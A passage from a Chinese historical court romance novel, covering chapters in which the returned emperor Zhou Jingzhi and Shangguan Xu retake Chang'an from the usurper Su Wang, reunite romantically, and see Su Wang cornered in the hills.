霍甘带兵至平营两州时,各路早已埋伏好周景知的兵马,而在那之前他亦已见过丰王,与他相认,所以借着地势和霍甘骄躁的性格,收服霍甘带来的神策军并没有费多大的力气,同时因神策军其实是直接受命于皇帝的军队,所以里面的诸多兵士亦是对皇帝忠心,故而当周景知拿出诸多证据证明他的身份,证明苏望非是良臣之后,神策军的军心也都极快地凝聚到了他的麾下。 进入京畿后,遇上其它的神策军亦大多都是先用的此类办法,先怀柔,实在遇到冥顽不灵者才会施行强硬之举。 只因周景知觉得,军队的力量当是对外的,当是用来护卫家国的,而非是用在这些内斗之间,相互倾轧、相互残杀的。 所以当长安城楼上的苏尚说出那句‘你可是要发令攻城’时,周景知沉了眸色,无动于衷。 攻城历来是残酷的,不止攻守双方会遭受极大的损失,就是城里的百姓也会受到巨大的影响,所以在这一点上,周景知不可强攻。 而除此以外还有重要的一点是,由苏尚刚才话中说的那意思,只要他下令攻城那他就是不折不扣的贼寇,被阻隔在城外怒火中烧的逆贼。 所以他也不能攻。 然而苏尚就是拿捏到了他的这点顾虑,逼得他进退维谷,只因苏尚还知道,他不可能就这样安然地围在城外—— 因为太极宫里的人撑不了多久。 他要不保京城百姓和他的大义,要不保宫里的那个人。 苏尚相信他一定会选后者,所以苏尚只需静静在城墙上等候,等他攻城,等他亲手将自己的正统摧毁。 时间一点点过去,太阳已至西山,长安城里城外的两人已无声对峙了近两个时辰。 苏尚视线从那人身上移开,转去看了一侧绯红的落日。 还没做好决定么?就这样僵持下去么?可是太极宫又能熬多久呢? 看来道义与她之间这么难抉择啊。 苏尚微不可察地笑了笑,收回视线向旁侧副将道:“派出去送信的人如何了?” 副将回道:“已成功突围,只待将信送到后等援军赶来。” 苏尚眸光再次投向城下,轻声:“给你的时间不多了。” 远处,周景知站在中军台上,因为距离相隔太远,他无法细致地看清苏尚每一抹神色的变化。 然而他抬着眼,也并没有再看那人的动作,他在看城楼后 ,长安城上的天空,看着它一点点失去太阳的光照,一点点变暗转黑。 终于,于夜色完全笼罩那刻,城中突然传来一片喧哗。 “恭迎王师!” 站于城墙上刚才反应过来的苏尚,在转身回到面向城内那侧的城墙时被底下的景象震撼,大批着百姓穿扮的人从街巷中传出,或持刀剑,或持钉耙,直冲冲地向城门处冲去,来者气势汹汹,又是着平民装扮,弓箭兵根本就不知道该不该放箭。 然而就是这迟疑的时间,那群人就又近了些。 苏尚:“还等什么!放箭!” 瞬间箭支刷刷而下,城楼下,有防身的依旧冲在前面,又许是见城楼上已先动了手,城楼下竟也开始有暗箭射来。 其间更是有一个身法矫健的身影。 苏尚惊愕:“阿筝……” 城门从里慢慢被打开,周景知翻身上马:“进城!” —— 太极宫里,同样因为那“正统性”而被钳制不能先下令动手的上官栩静立在城墙上,一目不错地看着守在城楼下的苏望。 她知道,他刚才刻意提到的那句‘城外的人已急不可耐地准备要攻城’就是在暗示她与外面的人里应外合,从而激她动手。 可是他如何知道,早在一月前,她就与周景知料定好了今日之事。 多年来的接触,上官栩早就知道苏望到底是怎样的一个人,他狡诈,伪善,他行恶事之前往往会为自己找一个“合理”的借口,所以她可以肯定,只要没有把他钉死在耻辱柱上,就算流言喧天,他最先想的也绝对是去找别人的错漏之处,从而给自己一个“正义”的理由去给自己正名。 所以,城外周景知的大军,和太极宫上官栩的禁军都不是这场夺城的主角,真正的关键人物,是在京城内早先潜伏好的人,而上官栩和周景知要做的就是拖住苏望和苏尚两人,不让他们察觉到城中潜伏者的动向。 看着城楼下匆匆跑来向苏望附耳通信的人,上官栩勾唇一笑。 苏望震愕地抬头看了她一眼,那是她在他眼中从未见过的眼神,惊骇,愤怒,恐惧,不甘,许多情绪混杂在一起,他就像要生生掐死她那般,可是他再如何愤恨也无用了。 从他眼神出现的那一刻,上官栩心中莫大的石头终于落下,她所求的终于要实现了。 这无疑是混乱的一夜,然而这也是一切进展极为迅速的一夜。 当宵禁再次结束时,长安城中的一切也几乎尘埃落定,百姓们只听说昨夜,王师归来了,那个曾被寄予过厚望的少年帝王也回来了。 至于他以前是何模样本也无多少人真正见过,而他现在是何模样……兴许在他重新登位那日或是城中举办其他需要他亲至的盛会时,百姓们能见上一面吧。 一切向好,所有事情发展近乎圆满,唯有苏氏父子在混乱之际得以在亲卫的护送下逃出了长安城。 而昨夜,也是各种因素所致,上官栩竟在他回来的第一时间没与他碰上面,直到清晨,事情基本都平定下来后,她才由荀阳将她带去他那儿。 因他长途奔袭,所以荀阳昨夜便去到了他那儿,诊了他的脉。 一路上,荀阳也将他才得到的消息转告给上官栩。 “当真都拔完了?以后不会再有事了吧?”上官栩听后问道。 荀阳已将周景知在北上途中遇见须丰以并顺利完成第四次拔毒的事告诉了她,也知她的喜悦和后怕,便再肯定道:“当真都拔完了,以后也不会再有事了。虽说在拔完毒后有段时间他因用了药而有些不适,但也都是暂时的反应,昨夜我给他看诊时,他也说了,他的那些反应也没有再出现了。” 上官栩如释重负地笑了笑:“那便好。” 二人说完,又行了一段路,直到一间殿宇,荀阳推了门带着上官栩走了进去:“看看谁来了。” 然而荀阳方一抬眼,唇角的笑意便骤然敛下。 只因殿中临窗处,他看见那人长纱覆眼,身后白纱如发带飞扬,长至腰下。 荀阳怔了瞬:啊? 他又立马转眼看向身后的上官栩。 上官栩亦是不解又担忧:“不是说……” 荀阳抬手连忙道:“或许还有哪处还需疗养吧,额,你们先聊,我先走了。” 第93章 在荀阳仓皇跑走,上官栩还未对这屋里的景象适应时,她蓦地听见窗边那人的温声:“你来了。” 她转过眸向窗边那处看去,见他已经转过身,长纱搭落在腰后,又被风吹到身前,他唇角微微噙笑,也应是换过了衣物,周身衣履平整,颜色也都是以白色为主的淡色系,整体都透露着一种很干净的气质,亦如遗世独立的松下谪仙。 他手微微抬起探了探,歉声道:“我现在眼睛不方便,你能走过来些么?” 上官栩便边向他走去,边打量着他的面容:“你怎么束这么长的纱带?” 周景知眉头一跳,哪怕隔着一层纱带,也能明显地感受到他神情滞了一下。 “你我久别重逢后你问我的第一句话就是这个?” 上官栩因他的话疑惑了一下,然而她细想片刻之后便一下明白了他的话中之意。 她埋下头,无声地笑了下,而后又若无其事地上前一步离他更近了些,隔着那层白纱望向他的双眸。 他感受着她气息的到来。 只可惜他蒙着眼看不见她现在的眼神有多狡黠灵动,只能听见她关切的问声:“怎么了?我的这句话可是有什么不妥?我可是在关心你啊。记得你那次眼睛受伤,你也蒙上的纱带,然而却并现在今日没有这么长……” 他当真听见她无比真诚的发问:“难道纱带长短对眼睛康复有不同帮助?可你束这么长的纱带不会觉得不便么?你本就看不清,万一你动作中纱带又碰倒了或者钩住了其它东西,岂不平白多生出了许多麻烦?” 一连听了这么多问题,周景知哭笑不得,又无奈:“你就只关注我纱带的长短?”他指了指自己的眼睛,“你就不问问我眼睛是怎么回事?” 上官栩忍笑:“那我问你,你眼睛是怎么回事?” 周景知抿着唇又止不住笑,他连忙埋下头想要控制住:“没什么大事,只是现下不太能受风,过段时日就好了。” 上官栩又问:“那你的纱带又是怎么回事?难不成真如我所说,这纱带长短还对你伤势的恢复有帮助?” 听了这问,周景知竟有些为难起来,他缓缓开口:“你以前看过话本吧?” 自是看过的,然而官栩却也更加疑惑他为何就突然说到了话本上,而就在她不解之际,她竟看见他双耳上凝出一片红晕,赤如玛瑙。 而比起他的反应,他出口的话更是让她惊诧。 “我听旁人说,话本里那些身姿俊逸、气质出尘郎君最是得女郎喜爱,而他们的穿着风格也往往更偏向素雅飘逸一派,所以我便借了那纱带一用……” 周景知近乎是全程硬着头皮说完那话,而话落之后他更是久久未听到回应。 他不由得紧张起来:“怎、怎么了?” “没什么。”上官栩回神,含笑道,“你现下的穿着是与你刚才说的挺符合。” 周景知放下心:“那你觉得……” “好看,自然是好看的。”上官栩提前给出答案,“然而你何须照着话本上的来,你又不是话本里女郎的郎君,你是我的郎君啊。” 周景知心觉满足又浅笑:“新鲜感嘛。” 上官栩嗔怪又打趣:“以后还有那么多年呢,现在就想起用新鲜感来刺激我了,那你以后可怎么办,你可能年年都这么新鲜?” 周景知扬了扬眉,现在却是不甘落下风了,他俯脸向她贴近:“未尝不可一试。” 上官栩仰脸,目若春水般静静凝望着他,温热的气息相互喷洒,交织,渐渐混杂出几分灼热,几丝缠绵之意。 他再贴近一分,她再扬颈一寸,没有任何交流的,只各自依从内心的,唇瓣触碰那刻,她揽上他的颈,抚上他的脸颊,他搂住她的背,揉上她的鬓发,轻柔的啮咬,缠绵的交缠,殿内逐渐升温的气息。 微风从窗外吹拂进来,带动他脑后的纱带飘扬。 纱带悠长,随着风从腰部往上飘飞,若有若无地扫过女郎手臂上的肌肤,那种痒意迅速窜遍全身,激得上官栩手指都不受控地颤抖了一下。 劲手抚在身后,施下的力道和掌心的温度一样不能被忽视,就这样被拥着,被紧紧搂在一方之地,身后唇前的动作皆是温柔而不容挣扎躲避,但也 生出一种被爱护的安全感。 她在他的影响下,手指不自主地顺着他的发丝往后,指尖触碰上那系带处,轻轻一拨,一拉,眼前的白纱垂下,然而风再一拂动,那纱带却是刚好覆在了她的眼上。 他睁开了眼,二人同时一笑。 他擦着她的唇,粗息而轻声:“要不你也试试蒙着眼亲吻是什么感觉。” “不就和闭着眼一样么……” “当然不一样。” 他将她揽得更紧的同时带着她转了方向,在她被抵上墙壁的那一刻,他再次将唇尽数压下,不再给她“探讨”的机会。 —— 经过了一夜的动荡,就算事情平息了下来,但宫里才经历过这一遭的人心中也难免还是有些惊惧未平。 在小皇帝被安置的宫殿里,几个随侍的宫人紧紧护在他身边,包括从小就一直陪着他的大监也守在这儿。 先是软禁再是宫变,短短一月时日里,小皇帝就遭遇了几次大的变故,然而其实最大的变故他还不知道。 身旁的大监神色复杂地看着他。 早在两个时辰前,大监曾短暂地出去过一次,他本想去看看外面的情况,好了解当下小皇帝的处境是否危机,然而他却在那次中听说了有关小皇帝身世的传言。 说是传言,但它已经被当作讨伐苏望的罪状之一,大监便知道此事不会有假了。 所以自那之后,大监便对小皇帝的情绪便复杂了起来,好在,在他出去问询情况那次,外面的人传给他的命令仍是“护好陛下”,那他便也暂时放下心,也不管那么多了,只管护好人就是。 殿门被人从外打开,几个金吾卫从外进来到小皇帝身前行礼。 “陛下,宫乱已平,卑职等奉太后娘娘之命前来护送您去立政殿。” 小皇帝从坐榻上下来,略有恍惚道:“朕可以出去了?” “是,陛下请随卑职等移驾。” “等等!” 在金吾卫已经侧身让出路,小皇帝迈出步子时,一旁的大监突然喊停道。 “太后娘娘让你们来护驾可有给过你们令牌?” “事态紧急,只奉娘娘口谕而来。” “宫里这么乱,娘娘就让你们几个来?” “大监恐还不知,宫里的局势已经平定下来了,陛下出行在外也不必有所顾虑了。” 大监好不容情地质疑道:“可是你方才才说事态紧急。” 为首的金吾卫默了声。 大监:“你们到底是谁派来的!太后娘娘在护送陛下之事上从不会用眼生之人,而你们我以前从未见过!” 队伍前列的金吾卫向后看了一眼,与身后的金吾卫对视后,他抬起眸,带着其它人一起拔出了刀,一步一步向前逼去。 “我等就是奉的太后娘娘口谕,大监一再为难可是要违抗太后娘娘?” 大监坚持着,他一臂张着护着小皇帝步步后退,一臂挥手就想要以此阻止来人的逼压:“娘娘绝不会派你们来!” “违抗娘娘懿旨,该杀!” 那金吾卫举刀就往下砍,大监惊目,转过身将小皇帝紧紧护在怀中,后背面向那砍来刀口。 然而身后传来的不是被落下的刀砍伤的剧痛感,而是一声从其它人嘴里传来含痛的闷哼声。 他感觉到他背部被温热的液体打湿了一片,随后便是一股明显如铁锈般的腥味。 他回过头,看见那本应向他看来的长刀颤巍地立在空中,往下,亦见那金吾卫的胸口前有长剑穿出。 长刀砸落地的那一刻,阿筝疾奔而来,拔出那插在金吾卫身上的剑,挥剑将那余下的几个金吾卫连连逼退,期间更是结果了两人。 然而许是觉得一人精力终是有限,余下的几个金吾卫竟默契地分好了工,几人缠斗,几人直接向小皇帝那儿逼去,人往前冲来的那刻,就连大监都以为他们的计谋就要成功。 可是这一次还是有人比他们的动作更快,大监清晰地看见一个身影,手持快剑,手起剑落,不过几招就将眼前的人尽数铲除。 殿内的拼杀同时结束,阿筝停下后就立马向小皇帝那儿跑去,她半蹲在他面前,牵了他的衣袍上下将他检查一遍:“没事吧?” 小皇帝乖巧地看着她,笑了笑,为她拭去脸上因焦急而渗出的汗水:“阿筝姑姑,你回来啦。” 而另一边,在眼前之人停下来,抬起眸向他望来的那一刻,大监张了张唇,喉咙猛地一哽,泪水瞬间积满眼眶,膝盖一软便重重地跪了下去。 “陛下……” —— 上官栩是和他们一起来的,在亲眼见到两对故人相逢的场景后,心中亦是百感交集。 姚志到底是当时年岁太小,许多东西根本没有记下来,亦如现在,他对着那本该唤“阿姐”的阿筝却唤了“姑姑”。 上官栩也知道,万事都不能操之过急,再加上姚志现在也不过是个八岁多的孩童,对他便更是要呵护多一些,故而这些变故也不能让他一下全部接受。 她让阿筝先带了他去休息,他们姐弟之间,无论是找回以往还是培养以后的情感,都需要在之后的相处中一步一步来。 上官栩先将目光放在大监身上。 周景知在大监跪下的那一刻就连忙上前,抬手将他扶了起来。 大监依旧满目含泪,然而内心又是欣喜的,早在听说小皇帝身世时他便同时知道了熙宁皇帝回来的消息,亦知道了原来那位徐大人就是他以前的那位陛下。 怎么变了这么多啊,变到他都认不出来了,不过真真静下来细看时,他才发现原来之前那位徐大人和他的陛下也是有那么多相似之处的。 大监就觉得自己错过了好多。 周景知自是明白他的心思,再扶他起来之后便宽慰道:“我此番回来本就是为了暗中布局,所以为了行事方便,我也自是要改变一番,不能让旁人察觉。” 大监不由得想起他的那些遭遇:“您当年……” 而他淡然道:“当年之事已经过去,便也无需多提了,反正我已经回来了不是吗?” 大监眨着泪眼含笑点头:“是,您回来了就好。” 周景知收回手,侧身示意道:“好了,这段日子实在不易,便也快些去休息吧。” 大监应是,然而他想起一事:“那陛……” 可刚一出口便觉自己失了言,立马噤了声。 周景知了然,知他是想问对姚志的安排,温声道:“不必担心,一切都会妥当。” 行至殿外,看见大监离去时有些佝偻身影,上官栩不禁叹道:“这些年他当真是老了许多,尤其是那年之后,他发丝染白的速度一年比一年快。” 与她并肩而立的周景知闻言垂了眸:“我自小他便伴我在身边,也是真心为我之人。” 他又扬了扬唇:“如今细细想来我才发现我是何其幸运,身边能有这么多真心为我之人。” 话到此处,上官栩转眸向他看去,却见他眉目含笑,眼眶中却又亮光闪烁。 他恍若未觉地继续道:“栩儿,你知道么,曾经有段时日里,我曾就以为这世上是恶人占据多数,我曾就要以最恶劣的心思去揣测每一个人,然而幸好,幸好在一个还不算晚的时机里,你让我意识到原来我们的心一直是在一起,原来我的诸多想法都是建议在一个错误的开端上的,这才没让我错得彻底。” 上官栩柔声:“我知道,那段时日必然是难熬的,然而我到底没有如你那般切实经历过,便知许多宽慰的话对你而言或许都是虚浮的,我亦不能淡然地说就让它那般过去,所以,我想说的是,以后路我们一起走下去罢,以后的难事我们也一起熬罢,再不放手了。” 周景知唇角牵起笑意,轻轻眨眼:“嗯,再不放手了。” 而她抬手,拭去他眼角的湿意:“不哭了。” “啊?我没哭啊。”气氛突然转变,周景知抬手用指节擦了擦眼下,理直气壮道,“你忘了?我眼睛现在受不得风啊,一吹风就想流泪。” 他反咬一口:“你又不相信我?” 上官栩就 说不出话来:啊? 那几年他到底学了些什么啊。 第94章 在京城和太极宫里的情况稳定下来之后,两仪殿中最先被聚集起来的是三司的官员。 在众臣错愕惊震的目光下,周景知和上官栩从殿门外携手走来。 一些资历老的,已在京城为官多年的官员来回转着头与殿中的其他人面面相觑。 “娘娘。” 行至上首位置后,二人转过身的同时殿中的官员齐声躬身行礼。 静默间,许多官员行礼的双手手指都时不时地弹动一下。 因为他们实在尴尬,实在不知措。 进来的两人的身份他们确实都听说了,然而这许多事的章程却都还没定下,他们便实在不知该怎么称呼,就是上官栩,他们也不知是称太后为好,还是称皇后为好,便都只先称“娘娘”。 而站在前排的几人算是三司的老人,在熙宁一朝时他们便已在京中任职,那位熙宁陛下他们自也是见过,而现在和立政殿娘娘站在一起的这位…… 他们抬了抬眼,悄悄地,几度将上首之人打量—— 气质的确是有些像的,可是那样貌…… 周景知余光将他们的小动作和心思尽收,不由得垂眸,低低笑了下。 上官栩转头去看他。 而他目光一与她对上就又显得无辜了。 上官栩眉头跳了下,便移了眼,看起来若无其事,毫无波动。 她似乎已经习惯了他的那些故作姿态的小把戏了。 她面向转向众人道:“请诸卿前来实有一要事要请诸卿立刻去办——四年前,熙宁七年沉船一案,凡因此案而被牵连出的其它案件全部重审,其中有受冤者,务必昭雪平反,还其清白,复其名誉。” 周景知正色道:“其中证人证物皆护送三司衙门,还请诸位大人厘清案情,还当年之事一个真相。” 说完,上官栩又接过话,温和声音道:“自然,重审此案意在复原真相,给含冤之人一个交代,让逃脱的幕后真凶受到惩罚,然而此事都意在那有为恶之人的身上,至于其它或许有被牵扯进去的人,因时局原因,因视角问题,或多或少都会有些身不由己,故而诸卿在查办过程,凡遇此类被牵扯者,只要其无为恶之举,诸卿便不必苛责。” 话里的内容虽指的是那些为恶的人,但在场的官员听后却又不少了松了口气。 上官栩与周景知见状默契对视一眼,唇角同时扬了扬。 三司的官员们在听过安排之后便拱手做退了,殿中的人陆陆续续的往外走,但在列首的前几人却互相看了看,脚下迟迟没有动作。 “几位大人是还有事?” 留下这几个都是历经三朝的老臣了,见他们动作迟疑,周景知含笑着看了口。 几个人便更支支吾吾,欲言又止了。 他们的眼帘抬起又垂下,视线多次往返于那看起来熟悉却又有些陌生的青年面上。 周景知浅笑着上前一步,压着声音意味深长道:“庄帝二十一年,诸君受邀于此,与庄皇帝陛下共评当年科举答卷,而其中有一篇文新奇夺目,诸君第一时间便让人去寻了答卷之人的信息,然而遍寻礼部名录之后却不得卷首留下的答卷之人的名字,而后再细查卷尾,拆字解谜,却见‘景致’二字。” 话落,为首的两人惊愕的神情再也藏不住地显露出来。 “陛下……!” 双手高举过头顶,下一刻就要跪地,身后的其它官员也跟着有了动作。 周景知连忙将二人扶住,又叫住了身后跟着动作的人,向他们说了不必多礼,他说的那番话也不过是想为他们一解心中疑惑罢了,如今有了答案,也不至于让他们一直处于一片纠结的两难之地间。 然而那为首的两个大臣却是涕泗横流了一阵,尤其是其中一个,还是当时刘昌案,坐镇三司会审亲审过周景知的人。 宽慰一阵,也终是平静了下来,周景知目送他们离去,目送过程中,耳侧又悠悠想起温声。 上官栩:“你刚才向他们说的是什么事情,怎么他们一听完就确信你的身份了?而且那事我竟也不知道。” 周景知收回视线来对她笑:“你可记得我当年常常会收集新科进士的试卷副本来看?” 上官栩目有回忆:“嗯,记得你说你为了借那些文章更好地将书中一些晦涩不懂的地方理解到。” 周景知轻快地点头:“对,然而只看不写也会觉得没有落到实处,所以我就在那年送到两仪殿的科考试卷里偷偷加上我的,在那之前我谁都没告诉,就想让他们觉得那份试卷也不过是一个士子所做,不过我那时年纪小,也终有些藏不住的心思,便是在那试卷末尾加了字谜。” 上官栩回忆起刚才他加重字音的两个字:“景致?” 周景知轻嗯:“对,我自是不能直接将我名字写进出去,便改了个发音相似的字,然后再用文章前后内容加以辅助暗示,就让那试卷上真真正正落的是我的名字。” 上官栩听到这里不由得失笑:“原来你在那时就有些爱使小伎俩的征兆。” 他挑了挑眉,为自己辩解道:“这也没什么吧?偷偷塞了张卷子而已,应该也还好?”说着,他不好意思地笑了下,“虽然当时父皇的确下旨不要让此事出去,但我想他也一定想让科举不受影响,而并非是觉得是我顽劣,让他丢了面子。” 上官栩“嘶”了声,就感觉自己找不到辩驳之处:“罢了,你说是什么便是什么吧。” “我说是什么便是什么?”周景知别有意味地重复。 上官栩当即反应过来他指的是什么,张了张唇,就似被他的无奈气笑。 然而她点头肯定,用他的话还了回去:“对,你说是什么就是什么,但是是由你说,我不说!” 她才不会又被他半哄半诱地叫他景哥哥。 周景知就感到委屈。 他叹了气。 上官栩转头去看他,见他眉头微扬,双唇紧抿,当真是一副被欺负的模样。 而他在她望来之后也仍旧将那副模样保持了一会儿,然后在她的目光下,一点一点地扬起眉,笑了出来。 上官栩也没忍住。 他平了平息,道:“反正你那句话我先记着,以后总有用到的时候。” 说完,他又深呼一息,正色起来道:“当下最重要的事还是把时局稳定下来,把当年那些因我而被牵连之人的案子全部彻查清楚,翻案还他们清白。” 上官栩:“刚才进殿之前,你让我最后补充的那段话就是想告诉他们,你不会因为他们曾向苏望示好过,或者听命于过苏望,就因此对他们进行清楚。如此一来,他们能够安心,时局也能更快地稳定下来吧。” 周景知颔首:“他们若在任之时并无恶行那他们本也无罪,无罪便不应该受到处置。再者党同伐异,只会损耗社稷的根基和国家的元气。” “且亦如你刚才话中所说,他们之前的选择有因局势而被迫的原因,也有因为视角的原因,在苏望那样的伪装下,旁人根本就看不清他们所选择的人到底是怎样的一个人,所以许多事情也不能怪他们。” 说着,他慢慢抬眼看向她,而后眼中又忽然一闪,问道:“对了,你阿兄呢?为何我到现在为止都还没见到过他,他不是被接入宫中了的没。” “他前两个时辰都还在和禁军一起稳定太极宫。”上官栩眉头蓦地一蹙,“对啊,他人呢,我也有两个时辰未见过他了。” —— 京郊的一座山上,苏望和苏尚寻了一处能稍作休整的地方,由亲卫保护着,坐下修整。 “又败了。” 苏望闭着眸,听着从宫里带出来的消息。 那几个金吾卫本是由他派去讲小皇帝偷带出来的,结果传来的是全部被杀的消息。 而苏尚却恍若无事般说道:“抓个假皇帝便有了希望么。” 苏望瞥他一眼:“管他是假是真,只要我们一口咬定他是真的,便有东山再来的一日。” 苏尚轻叹:“从哪儿开始呢?从江南么?可是您在江南的根基也不稳了吧。而且他的八百里加急可更是比其它信使的速度要快得多啊,等您到江南时,江南的情形恐怕又是一变了。” 苏望便问:“那你又有何想法?” 苏尚淡漠地来了句:“您之前在世 人面前捧出自己多好的成绩,那您到现在便要承受因此带来的反噬,而您之前所面对的人又是大晋的尽数臣民,所以您在大晋的土地上待不了了。” 苏望拧紧了眉:“所以你觉得去哪里比较好。” “离得近的,西燕。”苏尚道,“我之前出使西燕曾在那里留下了一些势力,西燕新王也不是一个安生的主,我们去了以后他一定会保我们的。” “不行!”苏望干脆道,“我若去西燕便是定死我的罪,我所有的声名也都将毁于一旦,哪怕以后也只会是被人唾骂。” 苏尚:“然而您觉得他们手里没证据么?” 一声冷言如一盆冷水灌下,苏望沉默了瞬,但仍道:“不行,我不去。” “名声就那么重要?” “重要。真到最后一战,我不能再给自己背一个叛国的罪。” 苏尚不说话了,他转眸望向前方远处,却见来路上尘土飞扬,有人纵马而来。 他冷声:“您看,这不来抓您了么。” 第95章 在苏望还未入仕前,他便知道自己有一个在官场上了不起的兄长。 苏氏到他们这一代原本已算不上什么有着丰厚家底的家族,然而也正是他的兄长苏瑜将他们苏氏一族带上了一个新的高度。 彼时,整个苏氏都以苏瑜为傲,苏望那时也在苏瑜身上学到了许多,他敬佩兄长的才华,仰慕兄长的风华,也想要成为兄长那样的人。 所以他一直跟随着苏瑜的脚步前进。 可是后来兄长病了,兄长要死了,而那时的他也在仕途上有了一番作为。 于是旁人便都说苏氏的担子要由他接过了,苏瑜的抱负有人承袭了。 所以那时苏望收到了许多人的劝勉和期许,让他一定要担好玉华公交给他的重担,接续兄长的遗址,真正成为如兄长那样的人。 最开始苏望也的确是这样想的,可是听得多了他便觉得他为什么要当别人的影子? 难道他就一定比他兄长差,他就一定只能按着兄长留下的路子走,不能自己创造出更大的辉煌? 所以后来他暗暗发誓,他要做超过他兄长的存在,他兄长是一世名臣,那他便要做千古贤相! 他要以后世人以他称呼他兄长,而非是以他兄长称呼他,他非是玉华公的弟弟,而玉华公是名相苏望的哥哥。 道路上扬起的尘土越来越近,苏望紧紧望着那处,开口道:“快走吧。” 苏尚将落在远处的视线收回,转而向身旁的苏望看去。 苏望亦侧过身来看他:“快走吧,你的选择我不干预。” “父亲不干预我的选择,那父亲的选择呢?” “我的选择我刚已经说过。” 其实在问出那句话的时候苏尚便有了答案,果然,苏望说的就是那个答案。 “父亲……” “民间有句俗语,”苏望打断了苏尚欲说的话,“叫‘鸡蛋不放在一个篮子里’,七郎,你明白这句话的意思么?” 苏望目光深深地望着眼前的年轻郎君,眼中有柔意,有慈爱:“你自小就极有主见,哪怕从你入仕后你想去礼部,和之后你的婚事,我也都尊重你的选择,不强制你,不干预你,所以现在父亲也依旧尊重你的选择,但你也要尊重我的选择。” “去吧七郎,带着苏氏的希望去西燕吧。” 苏尚眼睫颤动了几下,眸光转瞬又恢复那无波无澜的形态,他垂了眸:“阿爹,保重。去江南找个好的安身之所,不要再操心了。” 苏望唇角微扬了扬,轻嗯了声,随便便转向那来人的方向。 苏尚也不再拖延,牵过马匹,翻身上马。 伴随着一声“驾”,身后响起一片马蹄声,地面震动,又随着声音一点点减弱,消散。 苏望沉了眸,深呼一口气,叫了余下的人拔刀做好准备。 上官栎孤身骑马至山上时,苏望正负手站在原地等他。 苏望从容地向来人道:“你来了。” 上官栎勒停马:“岳父。” 苏望说不出情绪地笑一声:“倒快忘了,你我之间还有这层关系,只是你对我动手时却是那般的狠决,想来到底还是因为兄妹关系更近些。” 上官栎道:“是因为您做错了事。” 苏望敛了笑意,微露愤恨道:“我做错了什么事?就是因为他们讨伐的,我害了皇帝?杀了亲王?换了皇子?!我这样做都是为了天下!” “你扪心自问,这几年我带领百官施政做的如何?国库是否更富裕了?粮仓是否更充盈了?天下又是否太平?!难道我做的不好吗?天下百姓各有各的日子要过,皇室争斗与他们何干?只管让他们吃上饭住上屋便行了,谁管皇帝是谁!谁管施政的是谁!” “而这些年来,若不是我天下民心又如何会这样统一!大晋上下又岂会这般富饶!” 苏望诘问不止,上官栎淡然道:“的确,我虽几年未在中枢为政,但也每年都听说国库粮仓较上年的储备增长更多,然而您真地不知您所施的那些政令有哪些弊端吗?您的诸多政令的确在短时内能够起到明显的作用,可是那些埋下的隐患,至多不过几年就会触底反弹,所有的问题一并冒出,届时上至官绅下至百姓,近乎每个方面都会陷入难以转变困局。” “而您为官多年,不是不知道您的政令施行之后到底有哪些隐患,您只是想要尽快地达成您所谓的盛世局面,亦如竭泽而渔般,先达目的再行挽救之法。” “而百姓也的确如您所说,生计于他们而言才是最重要的,至于朝廷上的这些斗争,与他们无关,他们根本就不关心,也很难知道。然而这一切都要建立在所有斗争不会波及他们的基础上。” “您还记得熙宁七年洛州的那场大水,它不是不可以阻止的,但是那年上巳夜之后,工部尚书侍郎全部被治罪,工部的诸多官员也受到牵连,那时工部诸多事项停摆,而洛州一带的水堤就在其中,所以在汛期前,洛州没有修好水堤,没有挡住洪水,洛州一带万千百姓全部因此受难。 上官栎反问:“这,便是岳父想要的结果么?” 而在苏望的恨视下,上官栎继续道:“至于您刚才说的斗争,我亦只想问一问,您提到的那些人,他们是该死的么,他们是有罪的么?若抛弃他们的身份,只看他们自己,他们是不是也是一个活生生的人,不该任由任何一个人评判他们的生死到底值不值?” 风吹树叶,苏望在对视间忽而低头颤笑了几声:“你如何就有资格来指责我?那些事情不也有你的参与。” “是,所以我也该赎罪。” “所以你来是想将我抓回去,以此将功折罪?” 苏望带着一股看透人心的眼神道:“前几年你也算是不得已才退离中枢,可是现在觉得你妹妹赢了你就能回去了,所以亲自来抓我,想以此寻个回中枢的契机?” 上官栎在苏望戏谑的目光下依旧保持着那副淡然的表情。 “我会和你一起接受的律法的审判。” 苏望冷笑:“说得真是冠冕堂皇,她是你的妹妹,她会没有私心?你现下说得轻松,几年之后你能忍住那些权位的 诱惑,永不入中枢?” 上官栎:“我从不否认,每个人都有私心,我也在一些事上总会更倾向一些人,然而有私心是一回事,能不能控制自己,不随心所欲又是一回事。我不会再入枢,更不会再为官。” 苏望双眸渐大,只因他在眼前这个人的面上看到无比坚定的神情。 上官栎翻身下马,一边拔出随身携带的长剑一边说道:“十年前,在一次狩猎中,我的马匹受惊失狂,是您及时射出那箭保住了我的左手,那今日我便对那事做个了结。” 话落,他反手执剑,一声艰难忍住地闷哼声响起,上官栎竟生生地肩臂相连的位置,然后握住剑柄往上抬起剑身。 上官栎痛得直半跪在地,可他仍一次又一次松力再施力地往上抬剑,而他又许是觉得这样太慢,再抽出了一把匕首径直向肩膀! 苏望愕目:“你是要废了你的手吗!” 上官栎满额落汗,艰难地抬起头,他面色苍白道:“如今,我左手已废,以后也永无入仕的可能,你我之间的债……清了。” 苏望的唇角抽搐,他带着戾笑:“原来你今日孤身前来不只是要对我说那些话,还是要还我的恩,可是你就算废了左手又与我何干,我根本就没有得到任何回报。” 苏望沉了眸,冷声:“你还是自行了断比较好。你要知道,你欠我的一直都不只是一条胳膊,而是你们兄妹二人的命都欠着。” 断骨之痛足以击溃一个人的意志,上官栎眼帘无力地抬着,他对着苏望一言不发。 片刻后,苏望道:“怎么?在迟疑?然而我这么多时间等你,你们没赢我也没输,一切都还有变数。” “没有变数了……”上官栎张了口,眼神在这时凝出了几分力量,“我不会在这里自尽,我还要回去指证你的罪行。” “你不了断那我便帮你了断。” “你以为我当真是孤身而来么?” 上官栎的一句话将苏望骇在原地。 “在你我交谈的这段时间,禁军早已对此山做好了部署,你……逃不出了。” “你……!” 上官栎不管苏望的震愕,兀自呢喃:“的确,要对付阴险之人用同样阴险的手段要来的快些。” 上官栎一生仁善,与人说话做事从不行阴诡之术,向来都是说什么便做什么,所以到了现在,他以苦肉计来拖延时间也算是他行过阴险手段了。 苏望怒不可遏,当即就想拔剑杀了他,可是他脑海中突然浮现一人的身影,他眸光一顿,狠狠地咬了牙,让他随行之人全部上马,趁包围圈还未巩固迅速寻地突围。 垂着头,听着那些慌乱的声音远去,上官栎无力地扯了唇,毫无血色地笑了笑后,径直栽在了地上…… —— 在察觉到上官栎不见后,上官栩和周景知立刻寻人问了他的下落,方才得知他和禁军一起出城了。 